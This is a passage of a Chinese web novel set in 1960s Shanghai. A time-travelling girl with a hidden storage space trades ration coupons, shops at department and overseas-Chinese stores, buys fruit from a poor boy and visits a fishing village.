今年夏天异常的热，她家孩子本来就怕热，今年更是坐立难安，家里有人的时候，还可以给她打扇子，但家里人都上班去了，只有孩子奶奶陪着她在家，老人家年纪大了，精力不足，能清醒着帮她看孩子已经很好了，压根没力气去打扇子。 姜芸就寻摸着找人换工业票，买个电风扇回家去。 可这电风扇刚刚上市，大家都稀罕的不得了，哪会有人愿意跟她换啊。 她整天在柜台里卖货，眼瞅着电器柜那块仅剩的三台电风扇都卖出去俩了，急的嘴角都冒出了个大燎泡，一碰就疼的厉害。 这不，一看钟莹莹这个穿的不错，还戴了一块崭新的海市牌手表的小姑娘在副食品柜台前面辗转反侧，她病急乱投医，就找上了钟莹莹。 钟莹莹还真有工业票，她开口问道：“你拿几张奶粉票跟我换？” 姜芸一听她这话大喜，立马就知道今天自己这事有门路了。 她慌忙道：“我有两张，我同事那也有两张，如果你愿意换的话，我可以把她的票也借过来跟你换！” 她们俩的奶粉票都是单位奖励的，所以姜芸知道她同事有几张票。 一台电风扇需要八十块外加十三张工业票，姜芸已经凑到了七张，还差五张。 钟莹莹：“行，票拿来，我跟你换。” “好～”姜芸转过身去就要翻自己的包，等翻出两张奶粉票后，她想到一件事，忽然又僵住了。 拿着两张奶粉票的姜芸嘴角扯出一抹尴尬的笑：“小姑娘，你能等一会儿不，我同事她换班回家吃午饭去了，你放心，她吃完饭就回来了，很快的。” “要不……我只换两张吧！”钟莹莹哪有时间在这等着啊，谁知道下午她那仨室友会不会心血来潮来逛百货大楼，万一撞上了就尴尬了。 姜芸嘴巴比脑子更快一步，脱口而出道：“不行！” 等话说完之后她又后悔了，人家小姑娘又不欠她的，自己语气这么差，人家生气了还会和她换吗？ 她小心翼翼的偷看了一眼钟莹莹的脸色，果然方才还笑意盈盈的小姑娘这会子已经冷下了脸。 姜芸忙找补道：“我不是在冲你我发火，我只是……”姜芸正绞尽脑汁想找个借口来解释自己方才的态度时，她眼睛一瞟，瞟见了柜台中的袋装奶粉，她眼睛一亮，继续说道：“小姑娘，你换票是为了买奶粉吧？你这样，你把工业票给我，我可以先把奶粉卖给你，等我同事回来，我自己跟她换，把帐补上就行。” 钟莹莹有些迟疑：“这能行吗？” 姜芸把四包奶粉从柜台里掏出来，放到柜台上，又赠了钟莹莹两个纸袋子，然后说：“怎么不行？又不是买东西不给钱，咱们一手交钱，一手交货，有哪里不行？” “小姑娘，你放一万个心吧，肯定没事的！姐在这上班都多少年了，从来没出过问题！” 把奶粉推到钟莹莹面前后，姜芸用充满期望的眼神看着钟莹莹，就差开口问她讨要工业票了。 钟莹莹从裤兜里掏啊掏的，掏了老半天拿出来四张大黑十还有五六张工业票，她正要从中拿出四张交给姜芸时，姜芸直接从玻璃柜台内挑了出来，一脸狂热的抓住了钟莹莹的胳膊。 “小姑娘，你还有没有别的什么想换的？姐都可以跟你换，你看这柜台里你还想买啥，不要票，只要你再换给我一张工业票就成！” 奶粉票换来四张工业票，姜芸离电风扇就差一张工业票了，这会儿看见钟莹莹手里竟然还有多余的工业票，她怎么能不兴奋。 得亏现在是中午，百货大楼里没啥顾客，不然的话，他们看见姜芸这个样子，指定会认为姜芸发失心疯了，拉着人家小姑娘不让走。 钟莹莹的胳膊被姜芸捏的有些痛，她用力把胳膊从姜芸手中抽了出来，然后给姜芸说：“我想换外汇票，你有吗？” 除了百货大楼外，她还想去华侨商店看看，那边的舶来品有很多是这个时期国内没有的。 姜芸这下子是真没招了，要别的东西，她还可以给她招，但外汇票这事，自己连个门路都没有，难道自己真的要无缘那最后一台电风扇了吗？ “对不起，外汇票我真没有。” 姜芸沮丧的都快抬不起头来了，她真没用，连台电风扇都给女儿搞不来。 钟莹莹对于姜芸的反应没有太在意，她本来也没有想能在百货大楼就换到外汇票，跟姜芸找她换工业票一样，她只是随口一问而已。 “没有外汇票的话，那你再给我拿一袋不要票的奶粉吧！”她的空间时间静止，她买再多吃的放到里面都不会变质，奶粉票难得，能多换一包，她就多换一包。 她还小，需要多喝点奶，补充营养。 “真的？”原本心情低落的姜芸一下子恢复了好心情，生怕钟莹莹反悔一般从柜台里又给她拿了一袋奶粉：“你的奶粉！” 钟莹莹给了她五张工业票，以及三十五块钱，钱货两讫，她把奶粉装到牛皮纸袋里离开了百货大楼。 一口气吃不成胖子，海市不止一个百货大楼卖东西，钟莹莹准备打一枪换一个地方。 随便找了个隐秘的小巷子，确定周围没有人能看见她后，她就将牛皮纸袋中装着的奶粉转移到空间里了。 至于空的牛皮纸袋，她仍旧拎在手里掩人耳目。 中午还没吃饭，钟莹莹就近找了一家国营饭店，要了一碗大肉面，还有一瓶橘子汽水，美滋滋的在店里吃了个肚儿圆圆。 吃完饭后，她随手将牛皮纸袋折叠起来，装进了自己的口袋中。 下午她不打算回去跟室友们汇合，她打算去华侨商店外碰碰运气，她感觉她今天运气挺好的，想买奶粉没有票就有人自动送上门来跟她换了。 第150章 她刚到华侨商店门口没多久，就有个行迹鬼祟的人过来问她。 “喂，小姑娘，要票不？我盯你半天了，我这啥都有，只要你出的起价，这华侨商店我都能给你送进去！”老田笑眯眯的，看上去好像在跟自己小孙女聊天一样自在。 任谁路过都看不出，他用着那副和蔼的面庞在说着什么法外狂徒该说的话。 老田一向信奉最危险的地方最安全，他跟其他票贩子不一样，别人寻找交易地点都是找越偏僻的地方越好，但他尤爱繁华地带，比如国营饭店外或者百货大楼前面。 今儿个来华侨商店他也是头一遭，那小姑娘一来他就注意到她了，直觉告诉他，今天的大单子来了。 钟莹莹：“你怎么证明？” 在这人来人往的大街上，钟莹莹并不害怕这老头会对自己做什么。 方才她去华侨商店，还没进去，就在门口碰了一鼻子灰。 没有外汇票人家连进都不给她进，更别提想看里面有什么商品了。 她在外面等了有一会儿了，一直没见有人往里进。 她都做好今天下午要无功而返的准备了，这老头就自己找上来了。 钟莹莹不禁想到，难不成她今天真的这般好运，想干什么都能心想事成。 老田见钟莹莹不信自己，他也不生气，他从兜里掏出一张票，在钟莹莹眼前晃了晃，“你看看这是什么？” 钟莹莹定睛一看，那赫然是一张崭新的外汇票。 这老头看上去普普通通的，还挺有本事啊。 钟莹莹装作若无其事的样子：“怎么换？” 老田伸出两根手指：“两块钱换一张。” 钟莹莹：“太贵了，便宜点！” 正常一张外汇票兑换本国货币是一比一，一张相当于一块钱。 但外汇票难得，普通商店很难买到进口货和高档商品，人们私下换票指定是要以高于它本身的价值兑换的。 不过钟莹莹觉得再高也不会直接高到翻了一翻，这老头八成是看她年纪小，唬她呢。 老田压低声音：“一块八，不能再低了！” 原本以为碰上个脸嫩的，能好好宰一笔来着，嘿～没想到看走眼了，这小丫头片子竟然还会砍价。 钟莹莹：“一块五，能换就换，不能换就算了。” 她不是冤大头，也不是非得去华侨商店买东西。 老田感觉牙花子有点痛，这价格砍的，老田利润空间直接缩水了一大截。 不过也不赔本，还有的赚，今天在华侨商店门口守了半天，也就守到这么一个小姑娘，老田一咬牙，干了。 “行，换了！下午你是第一单，图个吉利，你要多少？” 钟莹莹反问他：“你有多少？” 华侨商店里面都是高档货，价格自然不低。 来都来了，钟莹莹不可能进去之后买点小东西就走了。 老田：听着口气，还真是个大主顾啊，果然，他的直觉没有欺骗他。 他怕生意跑了，赶紧道：“我这一共有四十五张，你给我六十七块五就行！” 钟莹莹：“六十七吧，你给我抹个零！” 老田有些心塞：“你这也忒会砍价了吧？抹零直接抹掉五毛，我得赚多长时间才能赚到这五毛啊！” 钟莹莹：“薄利多销嘛，叔你开了这一单，后面生意指定会滚滚如潮水般汹涌，赚个盆满钵满的～” 老田冒着被警察抓的风险出来当票贩子为的是什么？当然是赚钱。 钟莹莹这一番话，可谓是说到他心坎里去了。 以往人家跟他砍价，都会说他的票换不出去，不如便宜换给自己。 钟莹莹还是第一个跟他砍价，并且祝福他赚个盆满钵满的。 老田拉住钟莹莹的胳膊：“老妹儿，就冲你这话，哥今天把这个零给你抹了！” 他觉得叔有点老，自动给自己降了一个辈份。 “我们去那边的公厕边上换，你把钱数好了，然后我再过去，直接一手交票一手交钱，你看成吗？” 钟莹莹点点头：“可以。” 她不怕这老头给她耍心眼子，有金手指在呢，高传家她都能收拾得了，还怕其他人？ 好在老头没有耍花招，两人在气味有些‘芬芳’的公厕外完成了交换。 钟莹莹拿着换来的外汇票大摇大摆的进了华侨商店。 刚一进店她就被里面的商品给迷的找不着北了，好多好吃好玩的啊。 铁盒装的巧克力在陈列柜里直接摆了一整排，小袋的烘焙过的咖啡豆散发着诱人的香气，坚果馅儿的大列巴……额……硬的能砸死个人？好像有什么奇奇怪怪的东西混进去了。 钟莹莹努力把看见大列巴产生的怪异思绪从脑子里甩出去，继续专心致志的欣赏商店里的货品。 忽然，她在一个角落里看见了一个她意想不到的东西。 小小的塑料包装上写着英文标识，那不是卫生巾吗？ 钟莹莹有些好奇这个年代的卫生巾会是什么样的。 她开口问柜员：“你好，这个多少钱？” 柜员：“三张外汇票一包！” 钟莹莹：“打扰了。” 演都不演了，这简直是把人骗进来杀。 她只换到四十五张外汇票，如果拿来买卫生巾，那她的腰包会直接瘪下去一大截。 毕竟卫生巾这种东西是她每个月都要用的消耗品，一买不可能只买一包。 一个月用两包的话，一年就是二十四包，光卫生巾就能花掉一百多块钱，都够普通人家一年多开销了。 看来不管是哪个年代，粉红税都高的离谱啊。 钟莹莹暂时没有富裕到能够肆意挥霍的程度，她还是继续用她自己自制的‘卫生带’吧。 店里还有很多她之前在百货大楼里没有见到的东西，比如说写着老大哥语言的收音机，大背头电视机……还有那个百货大楼只剩下一台大电风扇，在华侨商店里有很多。 就是这个价格嘛……百货大楼里面卖八十块外加十三张工业票，到了华侨商店这块，虽然不要工业票，但是价格直接翻了一倍，要一百六十张外汇票才能买到。 怪不得这摆了一大堆没人买呢，这个价格对比，傻子都知道选哪个吧！ 逛了一圈，钟莹莹发现这里面卖的东西，电器类的动不动就以百计价，她那贫瘠的外汇票能买到也就只有那些吃食了。 巧克力种类还挺多，有黑巧，白巧，还有榛子黑巧，花生白巧。 钟莹莹偏爱黑巧的香醇，所以直接pass掉了所有种类的白巧。 十张外汇票一盒的巧克力，她要了三盒，两盒纯黑巧，一盒榛子黑巧。 剩下十五张外汇票她买了一斤半的咖啡豆，她实在是被店里的那个咖啡香味给勾引到了，所以才花了手头仅有的票去买了这些咖啡豆。 付完款从裤兜里掏出之前在百货大楼买东西柜员赠的牛皮纸袋把买的巧克力还有咖啡豆装进去，钟莹莹才走出了华侨商店。 出来的时候，跟她换票的那老头已经不在了。 钟莹莹换了个地方用收奶粉的方式，把巧克力和咖啡豆收进空间后才想起来一件事。 她买了咖啡豆，没有工具，要怎么萃取咖啡啊？难不成让她生嚼咖啡豆？她牙口没那么好。 算了，船到桥头自然直，买都买了，她总能想到办法的。 逛完华侨商店，天色还早，她便继续拎着那空空如也的牛皮纸袋在大街上四处溜达。 又百无聊赖的转悠了一圈，钟莹莹没什么收获，反而给肚里中午吃的那碗面给消化的差不多了，她又饿了。 不是很想去国营饭店，她突然想到一个小馆子，兴荣馆，宋茹还没结婚之前带她去过的那家私房菜馆。 钟莹莹小声的嘀咕了一句：“也不知道那边还开不开了？” 公私合营后，很多私房多小饭馆都直接倒闭了。 钟莹莹希望那家小馆子能挺过来，千万不要关门了啊，最差她也希望对方是直接转为公家的国营饭店。 毕竟他们家的糟卤是真的很好吃，钟莹莹一想起那个味道，就口水直流。 有着金手指庇佑，钟莹莹艺高人胆大，直接一个人循着记忆去了宋茹带她去过的那个巷子。 那边的变化挺大的，其中最明显的地方就是之前她的挖宝地，赵擎家昧来的那小破院子，在赵家人被宋冬宇设计去北疆后，那小院子就被街道办的人以危房的名义给推平了，后面他们又在原地另起了一座小院，直接充做他们的办公场所了。 越过街道办的办公室，来到兴荣馆的旧址，看着那紧闭的大门，钟莹莹虽然早有预料，但仍旧感到很失落。 吃不上好吃的了，她蔫头耷脑就要往回走。 中间也不知道是哪个拐弯拐错了，她没拐回大街上，反而是又拐进了一个小巷子里。 她正想去找个人问路，却看见了一个小少年背了一背篓的果子在悄悄的展示给一个老婆婆看。 她侧耳去听，就听见对方在说：“婆婆，真的不能在便宜了，这都是我奶奶自己种的，你尝尝，你换了绝对不后悔。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 150-160 第151章 老婆婆嚷嚷道：“太贵了，算了算了，我不换了，你自己拿回去！” 小少年还想再说些什么，那老婆婆就一把将他从自己家门口推开了。 “走，走，快走，我不换了，你不要杵在我家门口了，你再这样我要叫警察了！” 老婆婆话一说完就砰的一声关上了自家的大门，小少年吃了个闭门羹，一点东西也没换出去，失魂落魄的背着背篓就要离开。 “哎～那个谁，你过来一下！”钟莹莹冲着他招手道。 “你背篓里的东西给我看看！”她怎么看怎么觉得那背篓里的果子有些像本不该出现在这个城市里的水果。 小少年一开始还有些警惕，但看见叫住他的人是个跟自己差不多大的小姑娘，他又放松了下来。 他背着背篓走到钟莹莹面前，然后把背篓上的盖布掀开，取了两个果子拿给钟莹莹看了一眼。 钟莹莹又问：“这个能尝尝不？” 小少年点点头：“可以尝一个。”他这果子只有小拇指的指头那么大，给人尝一个他也亏不了多少。 钟莹莹从他手上拿了一粒果子，轻轻的把那小小的果子掰成两半，放到鼻子下面闻了闻。 嗯，不错，这股特殊的香气，确实是黄皮果。 她又伸出舌尖，小心避开果皮，用舌尖轻轻触碰了一下那果肉，之后缩回舌尖细细品味。 不错，很甜。 虽然不知道这人是怎么在海市弄到了来自祖国最南边的果子，但钟莹莹已经决定要拿下这一整筐黄皮果了。 她把视线从黄皮果上移到小少年身上，问：“这果子怎么卖？” 小少年老实答道：“一毛钱一斤，真的不贵的，这都是我奶奶亲手摘的。” 确实不贵，看他衣衫褴褛，可怜巴巴的样子，钟莹莹也不打算还价了。 “这一背篓我都要了，连带着背篓，你算一下多少钱。” 小少年傻眼了：“啥？你都要了？”他怀疑他是不是因为太想把果子卖出去而产生幻觉了，他卖了半天都没卖出去的果子，怎么会突然出现一个人，一张口就是全部包圆了呢。 钟莹莹：“对，我都要了，你给我称一下。” 严格来说她买这些东西是她占便宜，因为就算是后世，黄皮果这种娇嫩的水果除了在它的产地外，都很难在水果店里见到。 极少数的高端水果店有卖这个的，那价格也是高到天花板去了。 因为这玩意极难运输，只要稍微一磕碰，整个果子就会坏掉。 上辈子钟莹莹想吃这玩意，除了飞到最南边去，就是喝点替代品果汁，她想在水果店买高价货，人家老板都没货。 钟莹莹是很喜欢吃这东西的，这次遇上不买的话，下次她想吃这东西还不知道要等到什么时候呢。 所以，就算小少年卖的贵一些她也愿意给他包圆了，更何况他卖的还如此便宜呢。 没做过这么大生意的小少年手忙脚乱的要用称给钟莹莹称果子，但他那个小称压根称不了一整背篓果子。 他面红耳赤的看着钟莹莹：“要不，我用报纸包了给你分开称可以吗？” 一包一包称起来太麻烦了，钟莹莹害怕那样会磕碰到她的果子。 “不用，你大约估摸着一下重量，我掂一下就知道准不准了。”一背篓的果子体积有限，钟莹莹大概知道一斤黄皮果该有多少。 这个小少年的背篓不是特别大，里面撑死了能有三十斤黄皮。 最多三块钱就能搞定的事，钟莹莹不想搞的太复杂。 小少年掂了掂自己的背篓，然后给钟莹莹报了一个二十五斤的数。 钟莹莹也去掂量了一下，这背篓里绝对不止二十来斤，他报少了啊，真是个实诚的孩子。 为了奖励好孩子，钟莹莹便开口道：“这些果子连带着这个背篓我给你三块五毛钱，你要是同意我就拿走。” 小少年挠挠头，不好意思的憨笑道：“你给多了，用不了这么些钱，给我三块就成！” “给你三块五你就拿三块五，行了，你走吧！”多出来的五毛是钟莹莹之前从票贩子手里砍价砍回来的，所以舍出去钟莹莹也不是特别心疼。 小少年再三跟钟莹莹道谢后，才攥着自己手里的钱离开了小巷子。 望着他远去的背影，钟莹莹不禁感慨，啥年代的穷人生活都一样的不好过啊。 华侨商店随随便便一样东*西单拎出来就要大几十上百的价格，就这照样有人买。 但穷人呢，辛苦摘一背篓的果子，背到城里提心吊胆的跟人‘换’，最后只得了三块五，还没华侨商店那一包要三张外汇票的卫生巾贵呢，他还要再三跟她道谢。 钟莹莹在背上背篓的一瞬间就直接转移了那背篓里的黄皮果，现在她背上的那个只是个空背篓。 就是一个穿着干净利落的漂亮小姑娘背着一个破破烂烂的背篓，看上去实在有些不搭。 害怕巷子里有人注意到她，钟莹莹一直到离开那个巷子来到大街上都背着那个背篓。 后面她是随便找了个人家，把那个旧背篓给送了出去。 人多眼杂的，背篓体积大，没法像牛皮纸袋一样团吧团吧塞进口袋里，送人是最好的选择。 这一下午买这么些东西，钟莹莹已经感觉非常值了。 天色逐渐暗沉起来，她还没吃晚饭，肚子咕噜噜叫个不停。 也来不及再想其他的事了，她两手空空的就直冲国营饭店而去。 钟莹莹去的晚，店里能吃的东西不多了。 她就点了一份雪菜肉丝面，坐在板凳上，小口小口的慢慢吃着。 来的晚有来的晚的好处，晚了没菜也没人，钟莹莹自己独享一桌。 也不知道这饭店里的雪菜肉丝面是怎么做的，雪菜清甜爽口，肉丝细嫩新鲜，面也筋道的很，钟莹莹吃的大汗淋漓了都停不下来筷子。 吃完饭后，饭店要打烊了，她就沿着街道慢悠悠的朝着招待所走去，等回到招待所，肚子里的撑胀也消散开来。 祁绮她们不像钟莹莹，已经来了好几次海市了，对这边比较熟悉。 她们仨吃完晚饭后，看天色不早了，就没敢出门，早早的就回到了招待所。 回招待所擦过身子换了衣服，美美的睡了一觉后，第二天上午钟莹莹跟他们一块去逛了海市公园。 这个时期的海市公园的规模远不如后世的规模大，但里面古朴的建筑风格，也算是别有一番风味，钟莹莹感觉还挺有意思的。 公园里面有个小湖，湖里有很多退休了的大爷大妈在里面游泳消暑，打湿的短裤短袖非常凸显‘身材’，祁绮她们路过时都没敢睁开眼睛仔细看。 上午和室友们逛了半天后，下午钟莹莹又找借口自己出去单独行动去了。 今天她的目标是城南的另一个供销社，她去过的地方短时间内她是不打算连续过去的。 这个供销社规模比百货大楼要小上许多，但里面的商品也不少。 钟莹莹看上了里面的雌雄牌钢笔，她大手一挥，直接让售货员给她拿了两只包起来。 收了那个自己送上门来的‘上门女婿’那么多东西，钟莹莹认为自己也该回报一二了。 这钢笔质量好，价格也不低，买来送人再好不过了。 这供销社里还有卖橘子罐头和鲮鱼罐头，这两个在她们县和市里的供销社都没见过，钟莹莹又是一次拿了好几瓶罐头。 掏出万能的牛皮纸袋，把她要的东西全都揣进了袋子里。 那百货大楼的柜员赠送的袋子经过钟莹莹的多次‘蹂躏’后，已经变得皱巴到极点，钟莹莹怀疑她再揉搓几下，这袋子能直接烂给她看。 好在她本来就没打算真的用这袋子装东西，只是做个掩饰而已。 出门后，她就找了个不显眼的地方把袋子里的东西都给转移到了空间里。 钟莹莹本来想折叠一下牛皮纸袋装起来，留着下次再用的。 但又经受一次催残的牛皮纸袋已经严重的不堪重负，钟莹莹甚至能透过她之前折出来的折痕看见牛皮纸袋上的孔洞。 这陪伴了钟莹莹整整两天的牛皮纸袋最终还是进了街道办的垃圾处理站。 第三天上午逛完海市另外一个景点后，钟莹莹没再给自己找借口开溜，都来海市四天了，不出意外，过两天就要回家了。 她也该跟小伙伴们一块去采购一波明面上的物资带回家去了。 还有，要送给宋家的东西，她也得早点买好。 总不能等到要走那天，她才急匆匆过去买吧。 对于要给宋家人送些什么，钟莹莹已经有了初步的想法。 再次来到百货大楼，这次不是饭点，各个柜台前面都围满了人，钟莹莹怕碰见那个跟她换工业票的柜员，就没往副食品柜台前面凑。 她今天的主要目的地是日用品柜台，这边卖的不仅有搪瓷盆热水壶啥的，还有一些女性用的化妆品。 钟莹莹就是奔着那个化妆品来的。 什么鸭蛋粉，眉粉的，她都让柜员给她拿了三盒。 第152章 还有那个叫海市女人的香膏，钟莹莹闻了一下，当即就拍板拿了四盒。 一盒自己用，两盒拿回家，还有一盒赠给宋茹姐，刚刚好。 柜员给钟莹莹包东西的时候，边上一个烫着时髦卷发的阿姨咂舌道：“哟～小姑娘蛮豪气的嘛，一下子买这么多。” 她逛了那么久，也只舍得买一瓶雪花膏，这小姑娘眼睛眨都不眨的就让柜员给她拿了一大堆。 钟莹莹还没说话呢，那阿姨的同伴就翻了一个大白眼，不屑的对卷发阿姨说：“美玲啊，看人不能只看表面，知人知面不知心呐！” “这一看就是乡下人进城的作派，没得见识哟～看见点东西就想扒拉回家！我们本地人都是用完了再买的，这东西买回去用不了要过期的啦～” “我给你说哦～我家那个亲戚，哎呦～他一家来城里就是这个样子，身上那个穷酸味，怎么遮都遮不住哦～” 女人边说还边用手扇了扇鼻子，仿佛真的闻到什么异味了一样。 “可是，你上次不还给我说你那亲戚给你带了好些带鱼过来吗？”卷发阿姨很不解，之前她这朋友还夸她那亲戚有眼力见，上别人家里知道带些礼品来。 怎么现在她又说人家身上有味遮不住，卷发阿姨感到前后矛盾，忍不住想刨根问底。 女人被卷发阿姨的话一噎，到嘴边的嘲讽直接又咽了回去。 她站在卷发阿姨面前，气的跺脚：“那能一样吗？他家住村里，我家住城里，我夸他也是乡下人，跟我们差着十万八千里呢！”给她家送东西和她瞧不上他们又不冲突。 卷发阿姨：“怎么不一样了？人家还我们送鱼了。” 女人亲戚送的鱼卷发阿姨也吃了，她很喜欢。 女人：“……” 鱼鱼鱼，就知道鱼。 她这个朋友哪都好，就是死脑筋，脑子不会转弯。 “算了，我跟你讲不通，我不跟你说了！” 她本来是想买瓶雪花膏的，这会儿被自己朋友揭了短，感到没面子，东西都没买就走了。 卷发阿姨把自己那瓶雪花膏的钱付了以后，拿上雪花膏赶紧追上了女人。 “小娟啊，你还没跟我说到底哪里不一样呢？” 走在前面的女人听到她说的话，顿时脚下的步子迈的更大了，俩人没一会儿就消失在了钟莹莹的视野中。 一开始女人讽刺她，骂她乡下人的时候她还有些想发火。 但她的火气还没抒发出来，就被卷发阿姨的操作给逗乐了。 果然天然呆克一切阴谋诡计，任你明枪暗箭，只要我听不懂，那最后气死的只有你自己。 “同志，您的东西装好了，您还有其他需要的吗？”钟莹莹已经把她买的化妆品和香膏的钱付了，柜员对她的态度尤其的好。 这可是大客户啊，钟莹莹一个人买的东西平常她要卖十几个人才能卖这么多。 还有很多光问不买的，烦都烦死个人。 “那个水壶可以拿过来我看看吗？”钟莹莹盯上了靠墙的展柜里摆着的带着挂绳的金属水壶。 “好的。” 柜员转身去把水壶拿下来放到钟莹莹面前后，她开口道：“同志，这不是水壶，是新品保温杯，热水倒进里面，你把盖子盖严实了，隔一个晚上再开杯盖，那热水还烫嘴巴呢，目前整个海市就我们百货大楼有卖。” “一般人要看，轻易我都不拿给他看的。” 柜员说的是实话，如果不是钟莹莹在她这里买了这么多东西，她才不会这么‘听话’的把东西拿给她看。 想白看东西，不被她骂个狗血淋头就算好的了。 钟莹莹能听出柜员话语中的卖好意味，她道：“我能打开看看吗？” 她想给她哥买一个，她哥天天在外面跑车，都是上老乡家里讨口水喝，如果时间比较紧急的情况下，他喝水都来不及，一天下来，嘴皮子都能裂开。 如果给他买一个保温杯，那这种状况应当能大大改善的吧？ 她嫂子跟她哥整天形影不离，俩人用一个杯子刚刚好。 不是钟莹莹抠门，不想给他俩各买一个，而是她怕买多了回家要挨批评。 家里人节俭，见不得浪费，钟莹莹主要是顾忌他们的想法，怕刺激到他们的小心脏。 钟莹莹只打算给家里人买一个这杯子。 她爹娘常年待在村里，暂时还不需要这个。 俩大侄要买都得买，有些太过于显眼包了，所以只能暂且先搁置一段时间，等下次再说。 除了家里人外，她自己得买一个，开学之后，去到省城就不能像在家里一样，随时随地想喝水就有水，有个水杯，她不用忍着干渴，等下了课才回宿舍喝水。 “您随意！”柜员略一思索后就同意了。 这小姑娘客客气气的，一看就是体面人，她付过钱已经装到牛皮纸袋里打包好的香膏和鸭蛋粉还在柜台上呢，柜员也不怕钟莹莹拿到保温杯搞什么破坏赔不起。 拧开杯盖，钟莹莹里里外外都检查了一遍，确定了这杯子除了因为容量大而导致的体积大，用料多，杯体过重外，没有其他质量问题，她才转头问柜员：“这个保温杯多少钱？” 柜员：“十五块钱，还要一张工业票。” 额……说实话，真的有点贵。 但这杯子的容量很大，大概有一点五升，掂起来沉甸甸的，用料很实在，钟莹莹之前把它看成水壶就是因为它太大了。 一分价钱一分货，质量摆在那里，钟莹莹觉得也不是完全不能接受这个价格。 钟莹莹：“你再给我拿一个，我要俩。” 等回到家里，她就给她爹娘报价五块钱一个好了，免得他们太过于心疼钱。 “好！”柜员特别兴奋，她就知道，面前这小姑娘是她的贵人，这么贵的杯子，她说卖就卖出去了，柜员已经迫不及待的想看月底盘账的时候，经理会怎么夸奖她了。 钟莹莹买的东西都不便宜，但除了两个杯子外，那些盒香膏还有鸭蛋粉啥的都是不占位置的东西。 她裤子口袋是她娘特意给她做大了的，那些东西她直接塞进裤子口袋里都能装的下，就是会有凸起，不太美观而已。 那仨室友还在副食品柜台前晃悠呢，钟莹莹不想去凑热闹，只找了个角落待着，等待她们买完东西过来跟她汇合。 下午她准备坐公交去附近的小渔村一趟，这是那阴阳怪气的女人给她的灵感。 来海市怎么能不去看大海，不买点海产品带回家去呢？ 上辈子她就听说海市的穷人把大闸蟹当饭吃，现在这个季节，大闸蟹应当还没肥，但海蟹大约不会差，再不济还有各种小鱼小虾的。 能买到或者说能换到啥，她就换啥，钟莹莹不挑食的。 “莹莹，这海市好东西可真多，你看我们买了什么？”宋悦跟牛丽华还有祁绮她们仨一人手里拎了一包城隍庙梨膏糖。 宋悦开心的说：“这东西可好了，能润肺止咳，还甜甜的，那边的婆婆姨姨们都争着抢着买了，要不是我手快，我们仨都买不着。” 牛丽华跟祁绮两个人一多，她俩就当鹌鹑，就宋悦一个，无论在什么环境下，她都能迅速的融入到新环境中。 这次抢货也是她先带头，挤进了那些婶婶婆婆里，给牛丽华和祁绮都拉了进去。 “我让你也过去，你还不去，这下好了吧，这么好的梨膏糖，你没买到。” 宋悦本来想给钟莹莹带一份的，但她身上没有多余的糖票，牛丽华跟祁绮身上也没带那么多的票。 那些阿婆们的战斗力又太高，没等她们出来喊钟莹莹，柜台里的梨膏糖就被抢售一空了。 钟莹莹之前去副食品柜台买东西的时候真没看见梨膏糖，如果那时看见了她指定会买的，这个糖应该是今天才到的新货。 “没事，以后还有机会的。” 没买到她也不生气，她买的东西已经够多了，钟莹莹懂得什么叫知足常乐。 “明天你们要不要跟我一块去海边看看？海市这边的公交能直达海边，我想去看看海。” 钟莹莹这次不打算单独行动，她准备带着小伙伴以看海的名义去周遭的村子换些东西。 “海？”宋悦疑惑，怎么突然又要去看海了。 钟莹莹：“对，去看课本里写的大海，我听人说，那边退潮的时候沙滩上随随便便就能捡到一大筐小鱼小虾啥的。” 两辈子叠加在一起钟莹莹都没赶过海，这些都是她以前在手机上刷到的，是真是假她也不知道，不过这也不妨碍她用这套来诱惑她的室友们跟她一块去海边溜达。 六十年代的大海诶，钟莹莹是真的期待住了。 …… 海市的发达非一般城市所能比拟，在六几年，他的公共交通就已经有很多种选择了。 比较常见的是有轨电车和无轨电车，这俩只在市内运行，想去郊区，得坐那种由卡车改装成的公共汽车。 钟莹莹她们要去的小渔村在郊区，公交班次相较于市内要少很多，一个小时才有一班车。 第153章 好不容易等到去郊区的公交车，摇摇晃晃坐了两个小时的车还不算完，下了车后她们要再走个十几分钟，穿过村子才能真正的到达海边。 在越过村子时，钟莹莹看见了一个‘熟人’。 她没有声张，只是留意了一下那个‘熟人’进了村里的哪间屋子。 看到那房子前面硕果累累的黄皮树，钟莹莹露出了然的神色。 蔚蓝的大海一望无际，咸腥的海风迎面吹拂在人的身上，越是靠近海面，就越是凉爽。 海浪扑向沙滩，直接激起一米多高的浪花，一道道波浪不断涌起，击打着海边的沙子和岩石，在撞击摩擦间，海水肆意的喷溅着雪白的泡沫。 脚踩在沙滩上的那一刻，钟莹莹感觉自己的整个心境都变得开阔了起来。 自打重新投生到这个世界，觉醒记忆以来，她这是第一次真正意义上不受外界影响的全然放松自我。 她的另外三个室友也是第一次看海，一个个兴奋的跟小鸡仔似的叽叽喳喳。 溜达完一圈，满足了自己看海的愿望后，钟莹莹就开始想着怎么绕开室友，自己先去村里找人换一波物资。 沙滩上她看了，退潮应当还要等一些时间，她不想平白浪费掉这些等待的时间。 她道：“我去解决一下生理问题，一会儿就回来。” 经典永流传，尿遁法用不过时。 “嗯，你去吧！”沉迷美丽大海的三个人没有丝毫怀疑放钟莹莹离开了海滩。 黄皮树下，钟莹莹孤身一人来到了那个‘熟人’家门口。 比起随意找一家陌生人买东西，她更倾向于和与她做过一次交易的小少年进行‘交换’。 钟莹莹抬手正欲敲门，屋内忽然响起一阵争吵声，她便停下了动作，想等他们争执结束，她再敲门。 “奶奶，我求你了，你去治病好不好？” “咳咳～明明乖啊，奶奶这病是好不了了，咱就别浪费那个钱了，家里这钱还要留给你上学呢。” “奶奶，我不上学！” “胡闹！你是想让你奶奶死了都闭不上眼睛吗？不上学，你要一辈子待在村里打渔吗？你爹娘怎么死的你都忘了吗？” “奶奶，我没忘，我……”夏明当然是想上学的，可比起上学，他更在乎的是自己奶奶。 爹娘早早的葬身大海，奶奶是他唯一的亲人了。 如果奶奶也不在了，他无法想象，他一个人该如何活下去。 “行了，别说了，明明，奶奶的病奶奶自己心里有数，你前两天上市里卖黄皮果不是卖了好多钱嘛，再去摘些卖吧。”夏奶奶叹了一口气，强行打断孙子的话语，使唤对方出去摘果子去。 “唉～你小叔那边你也不要去了，我也指望不上他。” 她难道不想活着吗？她的身体她自己清楚，如今还强撑着一口气，只不过是担心她死了之后孙子没人照顾而已。 老伴跟大儿子都死的早，她那个小儿子自打入赘到市里后，几乎就跟家里断了往来。 她孙子去找他，给带东西人家就收，不带东西人家连门也不给他进去。 去再多次，也是白白浪费家里的粮食。 听完了屋里两人的谈话，钟莹莹就知道今天买海货这事应当不会特别顺利了。 